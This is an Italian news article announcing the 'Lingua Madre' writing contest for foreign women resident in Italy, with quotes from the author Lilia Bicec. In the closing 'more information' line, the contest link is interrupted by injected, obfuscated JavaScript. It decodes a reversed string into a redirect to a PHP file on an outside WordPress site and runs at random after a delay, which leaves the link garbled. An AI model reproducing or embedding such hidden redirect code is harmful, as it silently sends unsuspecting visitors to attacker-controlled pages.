Donne straniere in Italia, torna il concorso letterario Lingua Madre

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sono straniere e sono scrittrici. Ritorna per loro il concorso letterario nazionale “Lingua Madre. Racconti di donne straniere in Italia”, organizzato dalla Regione Piemonte in collaborazione con il Salone Internazionale del Libro di Torino. Un concorso diretto a tutte le donne straniere, anche di seconda o terza generazione, residenti in Italia che, utilizzando la loro nuova lingua (ovvero l’italiano), vogliono approfondire il rapporto tra identità, radici e cultura del Paese d’arrivo.

Sono turche, argentine, brasiliane, iraniane, albanesi, serbe, ucraine, vietnamite, e non solo: spesso hanno alle spalle vicende personali intrise di dolore, fatica e paura, ma i loro racconti testimoniano la ricchezza e la tensione conoscitiva ed espressiva dei loro Paesi d’origine. Dopo anni di vita in Italia, quasi sempre come badanti, colf o baby sitter, vogliono raccontare la loro esperienza, spesso iniziata con un treno o un traghetto preso all’alba, ma anche le loro radici, e il loro Paese. Scrivere assolve così ad una doppia funzione: terapeutica, di metabolizzazione dello choc culturale legato alla migrazione, e conoscitiva.

“C’è un dolore dentro che ti spinge a scrivere- spiega Lilia Bicec, oggi presidente della prima associazione di scambio interculturale italo-moldavo, “Moldbrixia”, e autrice di “Miei cari figli vi scrivo”, diario intimo della sua vicissitudine migratoria ma anche testamento della diaspora di un intero popolo- Oltre alla necessità privata e intima di scrivere, avvertiamo anche il dovere di testimoniare le nostre radici e la nostra storia”. Lilia è, insieme a Masal Pas Bagdadi, autrice del famoso “A piedi scalzi nel kibbutz”, una delle scrittrici più note della cosiddetta “letteratura della migrazione”, composta al 57% da donne.

Un fenomeno in continua espansione che, dopo l’iniziale, e prevedibile, filone autobiografico, ora registra anche quello di impegno e di denuncia civile, oltre a quello di testimonianza della cultura e delle tradizioni del Paese d’origine. In quest’ottica, il concorso “Lingua Madre” vuole essere un esempio significativo delle interazioni che stanno ridisegnando la mappa culturale del nostro Millennio.

“È un arricchimento reciproco, e una forma di conoscenza, molto importante- sottolinea ancora Lilia- Mi piacerebbe che gli italiani venissero a conoscenza della storia dei nostri Paesi attraverso i libri scritti da noi, in italiano, così come io ho imparato la cultura dell’Italia leggendo i “vostri” libri. Inoltre, se capisci la cultura di chi sta vicino, compresi i tanti migranti- conclude Lilia- anche il rispetto tra i popoli sarà maggiore”.

Infine, una sezione speciale è dedicata alle donne italiane che vogliono farsi tramite di queste culture diverse, raccontando storie di donne straniere che hanno conosciuto, amato, incontrato e che hanno saputo trasmettere loro l’identità dei Paesi d’origine.

Le opere selezionate saranno pubblicate in un libro che verrà presentato nell’edizione 2014 del Salone Internazionale del Libro di Torino.

Per ulteriori informazioni: $p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando/” target=”_blank”>http://concorsolinguamadre.it/bando/ .

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